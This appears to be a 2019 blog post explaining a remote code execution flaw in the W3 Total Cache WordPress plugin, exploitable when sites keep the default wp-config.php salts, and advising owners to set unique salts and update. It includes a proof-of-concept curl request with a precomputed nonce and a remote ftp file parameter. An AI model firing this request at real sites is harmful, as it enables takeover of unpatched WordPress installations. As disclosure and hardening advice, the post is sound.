W3 Cache Vulnerability through Salts - May 2019

W3 total cache had a remote code execution vulnerability come out yesterday. https://wpvulndb.com/vulnerabilities/9270 How does this work? The implementation of `opcache_flush_file` calls `file_exists` with a parameter fully controlled by the user.
Proof of Concept
curl 'http://x.x.x.x/wp-content/plugins/w3-total-cache/pub/opcache.php' --data 'nonce=974ca6ad15021a6668e7ae02e1be551c&command=flush_file&file=ftp://y.y.y.y:zzzz/'
That nonce argument in the URL comes from a conversion of the default phrase, 'put your unique phrase here' It's akin to leaving your password as "password." Check your code. Is it exploitable? It is if someone can guess/steal a site's salts. That is this bit in wp-config.php that needs to be set unique for each site:
/**#@+
 * Authentication Unique Keys and Salts.
 *
 * Change these to different unique phrases!
 * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
 * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define('AUTH_KEY',         'put your unique phrase here');
define('SECURE_AUTH_KEY',  'put your unique phrase here');
define('LOGGED_IN_KEY',    'put your unique phrase here');
define('NONCE_KEY',        'put your unique phrase here');
define('AUTH_SALT',        'put your unique phrase here');
define('SECURE_AUTH_SALT', 'put your unique phrase here');
define('LOGGED_IN_SALT',   'put your unique phrase here');
define('NONCE_SALT',       'put your unique phrase here');

When you run the WP installer it sets these properly, (like the output of: https://api.wordpress.org/secret-key/1.1/salt/ ).

But if you make your wp-config.php by copying wp-config-sample.php and editing in database creds, it's often a step that is skipped on the way to getting that dev site up as fast as possible. But this is super bad for security it turns out... because then any hacker can then "sign" their remote requests and Wordpress will accept them. Wordpress those salts to secure all remote requests.

In the case of yesterday's W3 total cache disclosure, if you want to include some sketchy code and run it off a remote URL, all you then have to do is sign your URL with a valid nonce, then the RCE (remote code execution) bug can be triggered from anywhere. Automated exploits are probably already happening. if you see a site with "Just Another WordPress Site" as their decscription, it's a decent bet that they didn't check their salts. For all those sites, the same key will let you in the bug (and other WP functions) and so that is what they will attack first, by mass pwning sites via botnet.

This is a good wake up call for WordPress developers who write come, and WordPress deployment people who launch sites. Make sure you take that extra step, visit https://api.wordpress.org/secret-key/1.1/salt/ and set those salts.

You should also update W3 Total Cache to the latest 0.9.7.4 or above... though with salts in place you are safe from the vulnerability.